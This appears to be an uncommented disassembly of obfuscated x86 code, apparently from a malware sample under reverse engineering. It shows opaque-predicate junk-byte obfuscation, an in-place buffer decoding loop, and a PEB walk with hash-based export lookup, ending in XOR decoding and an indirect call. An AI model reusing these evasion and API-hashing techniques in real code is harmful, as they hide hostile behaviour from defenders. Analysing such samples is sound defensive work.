mov al, byte [0x4f500b]
movsx eax, al
mov dword [esp + 0x330], eax
call fcn.004347a0
mov cl, al
mov eax, dword [esp + 0x330]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x338], eax
call fcn.004347b0
movsx eax, al
shl eax, 1
mov dword [esp + 0x334], eax
call fcn.004347c0
mov ecx, dword [esp + 0x334]
mov dl, al
mov eax, dword [esp + 0x338]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4f500c]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4f500d]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x481274
mov al, byte [0x4f500a]
movsx eax, al
mov dword [esp + 0x320], eax
call fcn.00434770
mov cl, al
mov eax, dword [esp + 0x320]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x324], eax
call fcn.00434780
mov cl, al
mov eax, dword [esp + 0x324]
movsx ecx, cl
mov dl, byte [0x4f62ec]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov dword [esp + 0x328], eax
call fcn.00434790
mov cl, al
mov eax, dword [esp + 0x328]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x481272
mov dword [esp + 0x1cd4], 6
jmp 0x48139f
jmp 0x481274
mov al, byte [0x4f500b]
movsx eax, al
mov dword [esp + 0x314], eax
call fcn.004347a0
mov cl, al
mov eax, dword [esp + 0x314]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x31c], eax
call fcn.004347b0
movsx eax, al
shl eax, 3
mov dword [esp + 0x318], eax
call fcn.004347c0
mov ecx, dword [esp + 0x318]
mov dl, al
mov eax, dword [esp + 0x31c]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4f500c]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4f500d]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x48139d
movsd xmm0, qword [esp + 0x1cc0]
movsd qword [esp + 0x308], xmm0
movsx eax, byte [0x4f500b]
mov dword [esp + 0x300], eax
call fcn.004347a0
mov cl, al
mov eax, dword [esp + 0x300]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x310], eax
call fcn.004347b0
movsx eax, al
mov dword [esp + 0x304], eax
call fcn.004347c0
mov ecx, dword [esp + 0x304]
movsd xmm0, qword [esp + 0x308]
mov dl, al
mov eax, dword [esp + 0x310]
movsx edx, dl
imul ecx, edx
lea eax, [eax + ecx*8]
movsx ecx, byte [0x4f500c]
xor edx, edx
div ecx
movsx ecx, byte [0x4f500d]
sub eax, ecx
movd xmm1, eax
movaps xmm2, xmmword [0x4eb240]
por xmm1, xmm2
movsd xmm2, qword [0x4eb250]
subsd xmm1, xmm2
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [esp + 0x1cd4], eax
jmp 0x48139f
ud2
mov eax, dword [esp + 0x32c]
mov ecx, dword [esp + 0x1cd4]
add eax, ecx
mov dword [esp + 0x2ec], eax
mov eax, dword [esp + 0x1c44]
mov ecx, dword [esp + 0x1c40]
movsx eax, byte [eax + ecx]
mov dword [esp + 0x2f0], eax
mov dword [esp + 0x1cb4], 0x40554000
mov dword [esp + 0x1cb0], 0
xor eax, eax
je 0x4813ea
add dl, dh
movups xmm0, xmmword [esp + 0x1cb0]
movsd xmm0, qword [esp + 0x1cb0]
movsx eax, byte [str._aOLOOLOLOLOLOOLL]
cvtsi2sd xmm2, eax
movsx eax, byte [0x4f500a]
cvtsi2sd xmm1, eax
movaps xmm3, xmmword [0x4eb230]
pxor xmm1, xmm3
addsd xmm1, xmm1
addsd xmm1, xmm2
mulsd xmm0, xmm1
movsd qword [esp + 0x1ca8], xmm0
mov al, byte [0x4f500b]
movsx eax, al
mov dword [esp + 0x2f4], eax
call fcn.004347a0
mov cl, al
mov eax, dword [esp + 0x2f4]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x2fc], eax
call fcn.004347b0
movsx eax, al
shl eax, 1
mov dword [esp + 0x2f8], eax
call fcn.004347c0
mov ecx, dword [esp + 0x2f8]
mov dl, al
mov eax, dword [esp + 0x2fc]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4f500c]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4f500d]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x481516
mov al, byte [0x4f500a]
movsx eax, al
mov dword [esp + 0x2e0], eax
call fcn.00434770
mov cl, al
mov eax, dword [esp + 0x2e0]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x2e4], eax
call fcn.00434780
mov cl, al
mov eax, dword [esp + 0x2e4]
movsx ecx, cl
mov dl, byte [0x4f62ec]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov dword [esp + 0x2e8], eax
call fcn.00434790
mov cl, al
mov eax, dword [esp + 0x2e8]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x481514
mov dword [esp + 0x1cbc], 6
jmp 0x481641
jmp 0x481516
mov al, byte [0x4f500b]
movsx eax, al
mov dword [esp + 0x2d4], eax
call fcn.004347a0
mov cl, al
mov eax, dword [esp + 0x2d4]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x2dc], eax
call fcn.004347b0
movsx eax, al
shl eax, 3
mov dword [esp + 0x2d8], eax
call fcn.004347c0
mov ecx, dword [esp + 0x2d8]
mov dl, al
mov eax, dword [esp + 0x2dc]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4f500c]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4f500d]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x48163f
movsd xmm0, qword [esp + 0x1ca8]
movsd qword [esp + 0x2c8], xmm0
movsx eax, byte [0x4f500b]
mov dword [esp + 0x2c0], eax
call fcn.004347a0
mov cl, al
mov eax, dword [esp + 0x2c0]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x2d0], eax
call fcn.004347b0
movsx eax, al
mov dword [esp + 0x2c4], eax
call fcn.004347c0
mov ecx, dword [esp + 0x2c4]
movsd xmm0, qword [esp + 0x2c8]
mov dl, al
mov eax, dword [esp + 0x2d0]
movsx edx, dl
imul ecx, edx
lea eax, [eax + ecx*8]
movsx ecx, byte [0x4f500c]
xor edx, edx
div ecx
movsx ecx, byte [0x4f500d]
sub eax, ecx
movd xmm1, eax
movaps xmm2, xmmword [0x4eb240]
por xmm1, xmm2
movsd xmm2, qword [0x4eb250]
subsd xmm1, xmm2
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [esp + 0x1cbc], eax
jmp 0x481641
ud2
mov eax, dword [esp + 0x2ec]
mov ecx, dword [esp + 0x2f0]
and ecx, dword [esp + 0x1cbc]
shl ecx, 1
sub eax, ecx
mov dl, al
mov eax, dword [esp + 0x1c44]
mov ecx, dword [esp + 0x1c40]
mov byte [eax + ecx], dl
mov al, byte [0x4f500b]
movsx eax, al
mov dword [esp + 0x2b4], eax
call fcn.004347a0
mov cl, al
mov eax, dword [esp + 0x2b4]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x2bc], eax
call fcn.004347b0
movsx eax, al
imul eax, eax, 0xa
mov dword [esp + 0x2b8], eax
call fcn.004347c0
mov ecx, dword [esp + 0x2b8]
mov dl, al
mov eax, dword [esp + 0x2bc]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4f500c]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4f500d]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x481c47
mov eax, dword [esp + 0x1c44]
mov ecx, dword [esp + 0x1c40]
movsx eax, byte [eax + ecx]
mov dword [esp + 0x2a4], eax
mov eax, dword [esp + 0x1c40]
add eax, 0x52
cvtsi2sd xmm0, eax
movsd qword [esp + 0x1c98], xmm0
xor eax, eax
je 0x48171b
add dl, dh
movups xmm0, xmmword [esp + 0x1c98]
movsd xmm0, qword [esp + 0x1c98]
movsx eax, byte [str._aOLOOLOLOLOLOOLL]
cvtsi2sd xmm2, eax
movsx eax, byte [0x4f500a]
cvtsi2sd xmm1, eax
movaps xmm3, xmmword [0x4eb230]
pxor xmm1, xmm3
addsd xmm1, xmm1
addsd xmm1, xmm2
mulsd xmm0, xmm1
movsd qword [esp + 0x1c90], xmm0
mov al, byte [0x4f500b]
movsx eax, al
mov dword [esp + 0x2a8], eax
call fcn.004347a0
mov cl, al
mov eax, dword [esp + 0x2a8]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x2b0], eax
call fcn.004347b0
movsx eax, al
shl eax, 1
mov dword [esp + 0x2ac], eax
call fcn.004347c0
mov ecx, dword [esp + 0x2ac]
mov dl, al
mov eax, dword [esp + 0x2b0]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4f500c]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4f500d]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x481847
mov al, byte [0x4f500a]
movsx eax, al
mov dword [esp + 0x298], eax
call fcn.00434770
mov cl, al
mov eax, dword [esp + 0x298]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x29c], eax
call fcn.00434780
mov cl, al
mov eax, dword [esp + 0x29c]
movsx ecx, cl
mov dl, byte [0x4f62ec]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov dword [esp + 0x2a0], eax
call fcn.00434790
mov cl, al
mov eax, dword [esp + 0x2a0]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x481845
mov dword [esp + 0x1ca4], 6
jmp 0x481972
jmp 0x481847
mov al, byte [0x4f500b]
movsx eax, al
mov dword [esp + 0x28c], eax
call fcn.004347a0
mov cl, al
mov eax, dword [esp + 0x28c]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x294], eax
call fcn.004347b0
movsx eax, al
shl eax, 3
mov dword [esp + 0x290], eax
call fcn.004347c0
mov ecx, dword [esp + 0x290]
mov dl, al
mov eax, dword [esp + 0x294]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4f500c]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4f500d]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x481970
movsd xmm0, qword [esp + 0x1c90]
movsd qword [esp + 0x280], xmm0
movsx eax, byte [0x4f500b]
mov dword [esp + 0x278], eax
call fcn.004347a0
mov cl, al
mov eax, dword [esp + 0x278]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x288], eax
call fcn.004347b0
movsx eax, al
mov dword [esp + 0x27c], eax
call fcn.004347c0
mov ecx, dword [esp + 0x27c]
movsd xmm0, qword [esp + 0x280]
mov dl, al
mov eax, dword [esp + 0x288]
movsx edx, dl
imul ecx, edx
lea eax, [eax + ecx*8]
movsx ecx, byte [0x4f500c]
xor edx, edx
div ecx
movsx ecx, byte [0x4f500d]
sub eax, ecx
movd xmm1, eax
movaps xmm2, xmmword [0x4eb240]
por xmm1, xmm2
movsd xmm2, qword [0x4eb250]
subsd xmm1, xmm2
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [esp + 0x1ca4], eax
jmp 0x481972
ud2
mov eax, dword [esp + 0x2a4]
movsx ecx, byte [esp + 0x1ca4]
add eax, ecx
mov dword [esp + 0x264], eax
mov eax, dword [esp + 0x1c44]
mov ecx, dword [esp + 0x1c40]
movsx eax, byte [eax + ecx]
mov dword [esp + 0x268], eax
mov eax, dword [esp + 0x1c40]
add eax, 0x52
cvtsi2sd xmm0, eax
movsd qword [esp + 0x1c80], xmm0
xor eax, eax
je 0x4819bf
add dl, dh
movups xmm0, xmmword [esp + 0x1c80]
movsd xmm0, qword [esp + 0x1c80]
movsx eax, byte [str._aOLOOLOLOLOLOOLL]
cvtsi2sd xmm2, eax
movsx eax, byte [0x4f500a]
cvtsi2sd xmm1, eax
movaps xmm3, xmmword [0x4eb230]
pxor xmm1, xmm3
addsd xmm1, xmm1
addsd xmm1, xmm2
mulsd xmm0, xmm1
movsd qword [esp + 0x1c78], xmm0
mov al, byte [0x4f500b]
movsx eax, al
mov dword [esp + 0x26c], eax
call fcn.004347a0
mov cl, al
mov eax, dword [esp + 0x26c]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x274], eax
call fcn.004347b0
movsx eax, al
shl eax, 1
mov dword [esp + 0x270], eax
call fcn.004347c0
mov ecx, dword [esp + 0x270]
mov dl, al
mov eax, dword [esp + 0x274]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4f500c]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4f500d]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x481aeb
mov al, byte [0x4f500a]
movsx eax, al
mov dword [esp + 0x258], eax
call fcn.00434770
mov cl, al
mov eax, dword [esp + 0x258]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x25c], eax
call fcn.00434780
mov cl, al
mov eax, dword [esp + 0x25c]
movsx ecx, cl
mov dl, byte [0x4f62ec]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov dword [esp + 0x260], eax
call fcn.00434790
mov cl, al
mov eax, dword [esp + 0x260]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x481ae9
mov dword [esp + 0x1c8c], 6
jmp 0x481c16
jmp 0x481aeb
mov al, byte [0x4f500b]
movsx eax, al
mov dword [esp + 0x24c], eax
call fcn.004347a0
mov cl, al
mov eax, dword [esp + 0x24c]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x254], eax
call fcn.004347b0
movsx eax, al
shl eax, 3
mov dword [esp + 0x250], eax
call fcn.004347c0
mov ecx, dword [esp + 0x250]
mov dl, al
mov eax, dword [esp + 0x254]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4f500c]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4f500d]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x481c14
movsd xmm0, qword [esp + 0x1c78]
movsd qword [esp + 0x240], xmm0
movsx eax, byte [0x4f500b]
mov dword [esp + 0x238], eax
call fcn.004347a0
mov cl, al
mov eax, dword [esp + 0x238]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x248], eax
call fcn.004347b0
movsx eax, al
mov dword [esp + 0x23c], eax
call fcn.004347c0
mov ecx, dword [esp + 0x23c]
movsd xmm0, qword [esp + 0x240]
mov dl, al
mov eax, dword [esp + 0x248]
movsx edx, dl
imul ecx, edx
lea eax, [eax + ecx*8]
movsx ecx, byte [0x4f500c]
xor edx, edx
div ecx
movsx ecx, byte [0x4f500d]
sub eax, ecx
movd xmm1, eax
movaps xmm2, xmmword [0x4eb240]
por xmm1, xmm2
movsd xmm2, qword [0x4eb250]
subsd xmm1, xmm2
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [esp + 0x1c8c], eax
jmp 0x481c16
ud2
mov eax, dword [esp + 0x264]
mov ecx, dword [esp + 0x268]
mov edx, dword [esp + 0x1c8c]
movsx edx, dl
and ecx, edx
shl ecx, 1
sub eax, ecx
mov dl, al
mov eax, dword [esp + 0x1c44]
mov ecx, dword [esp + 0x1c40]
mov byte [eax + ecx], dl
jmp 0x481c49
mov al, byte [0x4f500a]
movsx eax, al
mov dword [esp + 0x22c], eax
call fcn.00434770
mov cl, al
mov eax, dword [esp + 0x22c]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x230], eax
call fcn.00434780
mov cl, al
mov eax, dword [esp + 0x230]
movsx ecx, cl
imul ecx, ecx, 6
mov dl, byte [0x4f62ec]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov dword [esp + 0x234], eax
call fcn.00434790
mov cl, al
mov eax, dword [esp + 0x234]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x482210
mov eax, dword [esp + 0x1c44]
mov ecx, dword [esp + 0x1c40]
movsx eax, byte [eax + ecx]
mov dword [esp + 0x21c], eax
mov dword [esp + 0x1c6c], 0x40558000
mov dword [esp + 0x1c68], 0
xor eax, eax
je 0x481ceb
add dl, dh
movups xmm0, xmmword [esp + 0x1c68]
movsd xmm0, qword [esp + 0x1c68]
movsx eax, byte [str._aOLOOLOLOLOLOOLL]
cvtsi2sd xmm2, eax
movsx eax, byte [0x4f500a]
cvtsi2sd xmm1, eax
movaps xmm3, xmmword [0x4eb230]
pxor xmm1, xmm3
addsd xmm1, xmm1
addsd xmm1, xmm2
mulsd xmm0, xmm1
movsd qword [esp + 0x1c60], xmm0
mov al, byte [0x4f500b]
movsx eax, al
mov dword [esp + 0x220], eax
call fcn.004347a0
mov cl, al
mov eax, dword [esp + 0x220]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x228], eax
call fcn.004347b0
movsx eax, al
shl eax, 1
mov dword [esp + 0x224], eax
call fcn.004347c0
mov ecx, dword [esp + 0x224]
mov dl, al
mov eax, dword [esp + 0x228]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4f500c]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4f500d]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x481e17
mov al, byte [0x4f500a]
movsx eax, al
mov dword [esp + 0x210], eax
call fcn.00434770
mov cl, al
mov eax, dword [esp + 0x210]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x214], eax
call fcn.00434780
mov cl, al
mov eax, dword [esp + 0x214]
movsx ecx, cl
mov dl, byte [0x4f62ec]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov dword [esp + 0x218], eax
call fcn.00434790
mov cl, al
mov eax, dword [esp + 0x218]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x481e15
mov dword [esp + 0x1c74], 6
jmp 0x481f42
jmp 0x481e17
mov al, byte [0x4f500b]
movsx eax, al
mov dword [esp + 0x204], eax
call fcn.004347a0
mov cl, al
mov eax, dword [esp + 0x204]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x20c], eax
call fcn.004347b0
movsx eax, al
shl eax, 3
mov dword [esp + 0x208], eax
call fcn.004347c0
mov ecx, dword [esp + 0x208]
mov dl, al
mov eax, dword [esp + 0x20c]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4f500c]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4f500d]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x481f40
movsd xmm0, qword [esp + 0x1c60]
movsd qword [esp + 0x1f8], xmm0
movsx eax, byte [0x4f500b]
mov dword [esp + 0x1f0], eax
call fcn.004347a0
mov cl, al
mov eax, dword [esp + 0x1f0]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x200], eax
call fcn.004347b0
movsx eax, al
mov dword [esp + 0x1f4], eax
call fcn.004347c0
mov ecx, dword [esp + 0x1f4]
movsd xmm0, qword [esp + 0x1f8]
mov dl, al
mov eax, dword [esp + 0x200]
movsx edx, dl
imul ecx, edx
lea eax, [eax + ecx*8]
movsx ecx, byte [0x4f500c]
xor edx, edx
div ecx
movsx ecx, byte [0x4f500d]
sub eax, ecx
movd xmm1, eax
movaps xmm2, xmmword [0x4eb240]
por xmm1, xmm2
movsd xmm2, qword [0x4eb250]
subsd xmm1, xmm2
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [esp + 0x1c74], eax
jmp 0x481f42
ud2
mov eax, dword [esp + 0x21c]
mov ecx, dword [esp + 0x1c74]
add eax, ecx
mov dword [esp + 0x1dc], eax
mov eax, dword [esp + 0x1c44]
mov ecx, dword [esp + 0x1c40]
movsx eax, byte [eax + ecx]
mov dword [esp + 0x1e0], eax
mov dword [esp + 0x1c54], 0x40558000
mov dword [esp + 0x1c50], 0
xor eax, eax
je 0x481f8d
add dl, dh
movups xmm0, xmmword [esp + 0x1c50]
movsd xmm0, qword [esp + 0x1c50]
movsx eax, byte [str._aOLOOLOLOLOLOOLL]
cvtsi2sd xmm2, eax
movsx eax, byte [0x4f500a]
cvtsi2sd xmm1, eax
movaps xmm3, xmmword [0x4eb230]
pxor xmm1, xmm3
addsd xmm1, xmm1
addsd xmm1, xmm2
mulsd xmm0, xmm1
movsd qword [esp + 0x1c48], xmm0
mov al, byte [0x4f500b]
movsx eax, al
mov dword [esp + 0x1e4], eax
call fcn.004347a0
mov cl, al
mov eax, dword [esp + 0x1e4]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x1ec], eax
call fcn.004347b0
movsx eax, al
shl eax, 1
mov dword [esp + 0x1e8], eax
call fcn.004347c0
mov ecx, dword [esp + 0x1e8]
mov dl, al
mov eax, dword [esp + 0x1ec]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4f500c]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4f500d]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x4820b9
mov al, byte [0x4f500a]
movsx eax, al
mov dword [esp + 0x1d0], eax
call fcn.00434770
mov cl, al
mov eax, dword [esp + 0x1d0]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x1d4], eax
call fcn.00434780
mov cl, al
mov eax, dword [esp + 0x1d4]
movsx ecx, cl
mov dl, byte [0x4f62ec]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov dword [esp + 0x1d8], eax
call fcn.00434790
mov cl, al
mov eax, dword [esp + 0x1d8]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x4820b7
mov dword [esp + 0x1c5c], 6
jmp 0x4821e4
jmp 0x4820b9
mov al, byte [0x4f500b]
movsx eax, al
mov dword [esp + 0x1c4], eax
call fcn.004347a0
mov cl, al
mov eax, dword [esp + 0x1c4]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x1cc], eax
call fcn.004347b0
movsx eax, al
shl eax, 3
mov dword [esp + 0x1c8], eax
call fcn.004347c0
mov ecx, dword [esp + 0x1c8]
mov dl, al
mov eax, dword [esp + 0x1cc]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4f500c]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4f500d]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x4821e2
movsd xmm0, qword [esp + 0x1c48]
movsd qword [esp + 0x1b8], xmm0
movsx eax, byte [0x4f500b]
mov dword [esp + 0x1b0], eax
call fcn.004347a0
mov cl, al
mov eax, dword [esp + 0x1b0]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x1c0], eax
call fcn.004347b0
movsx eax, al
mov dword [esp + 0x1b4], eax
call fcn.004347c0
mov ecx, dword [esp + 0x1b4]
movsd xmm0, qword [esp + 0x1b8]
mov dl, al
mov eax, dword [esp + 0x1c0]
movsx edx, dl
imul ecx, edx
lea eax, [eax + ecx*8]
movsx ecx, byte [0x4f500c]
xor edx, edx
div ecx
movsx ecx, byte [0x4f500d]
sub eax, ecx
movd xmm1, eax
movaps xmm2, xmmword [0x4eb240]
por xmm1, xmm2
movsd xmm2, qword [0x4eb250]
subsd xmm1, xmm2
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [esp + 0x1c5c], eax
jmp 0x4821e4
ud2
mov eax, dword [esp + 0x1dc]
mov ecx, dword [esp + 0x1e0]
and ecx, dword [esp + 0x1c5c]
shl ecx, 1
sub eax, ecx
mov dl, al
mov eax, dword [esp + 0x1c44]
mov ecx, dword [esp + 0x1c40]
mov byte [eax + ecx], dl
mov eax, dword [esp + 0x1c40]
add eax, 1
mov dword [esp + 0x1c40], eax
jmp 0x48048f
jmp 0x482228
jmp 0x48222a
mov eax, dword [esp + 0x46c]
mov byte [eax], 1
add eax, 1
mov dword [esp + 0x1ac], eax
jmp 0x482240
mov eax, dword [esp + 0x1ac]
mov dword [esp + 0x95c], eax
mov eax, esp
lea ecx, [esp + 0x933]
mov dword [eax], ecx
lea ecx, [esp + 0x934]
call fcn.00486d80
sub esp, 4
jmp 0x48226a
lea eax, [esp + 0x944]
mov dword [esp + 0xb7c], eax
lea eax, [esp + 0x934]
mov dword [esp + 0xb78], eax
lea eax, [esp + 0x14f4]
mov dword [esp + 0x14fc], eax
mov eax, dword [esp + 0x14fc]
mov dword [esp + 0x1558], 0x30
mov ecx, dword [esp + 0x1558]
mov ecx, dword fs:[ecx]
mov dword [esp + 0x1554], ecx
mov ecx, dword [esp + 0x1554]
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
mov dword [eax], ecx
mov eax, dword [esp + 0x14f4]
mov eax, dword [eax + 0x18]
lea ecx, [esp + 0x14e8]
mov dword [esp + 0x150c], ecx
mov dword [esp + 0x1508], eax
mov eax, dword [esp + 0x150c]
mov ecx, dword [esp + 0x1508]
mov dword [eax], ecx
mov ecx, dword [esp + 0x1508]
mov dword [esp + 0x155c], ecx
mov ecx, dword [esp + 0x155c]
mov edx, dword [esp + 0x155c]
mov edx, dword [edx + 0x3c]
mov esi, dword [ecx + edx + 0x78]
mov dword [esp + 0x1500], esi
mov ecx, dword [ecx + edx + 0x7c]
mov dword [esp + 0x1504], ecx
mov ecx, dword [esp + 0x1508]
add ecx, dword [esp + 0x1500]
mov dword [eax + 4], ecx
mov ecx, dword [esp + 0x1504]
mov dword [eax + 8], ecx
lea eax, [esp + 0x14e8]
mov dword [esp + 0x1510], eax
mov ecx, dword [esp + 0x1510]
mov eax, dword [ecx + 4]
cmp eax, dword [ecx]
je 0x4824f9
lea eax, [esp + 0x14e8]
mov dword [esp + 0x1514], eax
mov eax, dword [esp + 0x1514]
mov eax, dword [eax + 4]
mov eax, dword [eax + 0x18]
mov dword [esp + 0x14e4], eax
mov eax, dword [esp + 0x14e4]
mov ecx, eax
add ecx, 0xffffffff
mov dword [esp + 0x14e4], ecx
cmp eax, 0
je 0x4824f7
mov eax, dword [esp + 0x14e4]
lea ecx, [esp + 0x14e8]
mov dword [esp + 0x152c], ecx
mov dword [esp + 0x1528], eax
mov eax, dword [esp + 0x152c]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov edx, dword [eax + 0x20]
mov eax, ecx
add eax, edx
mov edx, dword [esp + 0x1528]
mov eax, dword [eax + edx*4]
add ecx, eax
mov dword [esp + 0x1534], 0xf5205361
mov dword [esp + 0x1530], 0xc4ccf0b1
mov eax, dword [esp + 0x1534]
mov dword [esp + 0x1524], ecx
mov dword [esp + 0x1520], eax
mov eax, dword [esp + 0x1520]
mov dword [esp + 0x151c], eax
mov eax, dword [esp + 0x1524]
mov ecx, eax
add ecx, 1
mov dword [esp + 0x1524], ecx
mov al, byte [eax]
mov byte [esp + 0x151b], al
cmp byte [esp + 0x151b], 0
je 0x4824ca
mov ecx, dword [esp + 0x151c]
mov al, byte [esp + 0x151b]
mov dword [esp + 0x1564], ecx
mov byte [esp + 0x1563], al
mov eax, dword [esp + 0x1564]
mov dword [esp + 0x1a8], eax
movsx eax, byte [esp + 0x1563]
cmp eax, 0x41
jl 0x482499
movsx eax, byte [esp + 0x1563]
cmp eax, 0x5a
jg 0x482499
movsx eax, byte [esp + 0x1563]
or eax, 0x20
mov dword [esp + 0x1a4], eax
jmp 0x4824a8
movsx eax, byte [esp + 0x1563]
mov dword [esp + 0x1a4], eax
mov eax, dword [esp + 0x1a8]
mov ecx, dword [esp + 0x1a4]
xor eax, ecx
imul eax, eax, 0x1000193
mov dword [esp + 0x151c], eax
jmp 0x482417
mov eax, dword [esp + 0x151c]
mov dword [esp + 0x153c], 0xf5205361
mov dword [esp + 0x1538], 0xc4ccf0b1
mov ecx, dword [esp + 0x1538]
cmp eax, ecx
je 0x482527
jmp 0x482387
jmp 0x4824f9
lea eax, [esp + 0x14f4]
mov dword [esp + 0x1550], eax
mov eax, dword [esp + 0x1550]
mov ecx, dword [eax]
mov dword [esp + 0x1568], ecx
mov ecx, dword [esp + 0x1568]
mov ecx, dword [ecx]
mov dword [eax], ecx
jmp 0x4822c6
mov eax, dword [esp + 0x14e4]
lea ecx, [esp + 0x14e8]
mov dword [esp + 0x154c], ecx
mov dword [esp + 0x1548], eax
mov eax, dword [esp + 0x154c]
mov ecx, dword [eax]
mov edx, dword [eax + 4]
add ecx, dword [edx + 0x1c]
mov dword [esp + 0x1544], ecx
mov ecx, dword [eax]
mov edx, dword [eax + 4]
add ecx, dword [edx + 0x24]
mov dword [esp + 0x1540], ecx
mov eax, dword [eax]
mov ecx, dword [esp + 0x1544]
mov edx, dword [esp + 0x1540]
mov esi, dword [esp + 0x1548]
movzx edx, word [edx + esi*2]
add eax, dword [ecx + edx*4]
mov dword [esp + 0x14f8], eax
mov eax, dword [esp + 0x14f8]
mov dword [esp + 0x19c], eax
mov eax, dword [esp + 0xb78]
mov dword [esp + 0xc04], eax
mov eax, dword [esp + 0xc04]
mov dword [esp + 0xc60], eax
mov eax, dword [esp + 0xc60]
mov dword [esp + 0x1a0], eax
mov dword [esp + 0xcbc], eax
mov eax, dword [esp + 0xcbc]
movsx eax, byte [eax + 0xf]
cmp eax, 0
je 0x482657
mov eax, dword [esp + 0x1a0]
mov dword [esp + 0xd78], eax
mov dword [esp + 0xd74], eax
mov eax, dword [esp + 0xd78]
mov dword [esp + 0x198], eax
mov dword [esp + 0xd70], 0
cmp dword [esp + 0xd70], 0x10
jge 0x482655
mov eax, dword [esp + 0x198]
mov ecx, dword [esp + 0xd74]
mov edx, dword [esp + 0xd70]
movsx ecx, byte [ecx + edx]
xor ecx, 0xffffffc4
xor ecx, 0xc2
mov dl, cl
mov ecx, dword [esp + 0xd70]
mov byte [eax + ecx], dl
mov eax, dword [esp + 0xd70]
add eax, 1
mov dword [esp + 0xd70], eax
jmp 0x48260a
jmp 0x482657
mov eax, dword [esp + 0x19c]
mov edx, dword [esp + 0x1a0]
mov ecx, esp
mov dword [ecx], edx
call eax
sub esp, 4
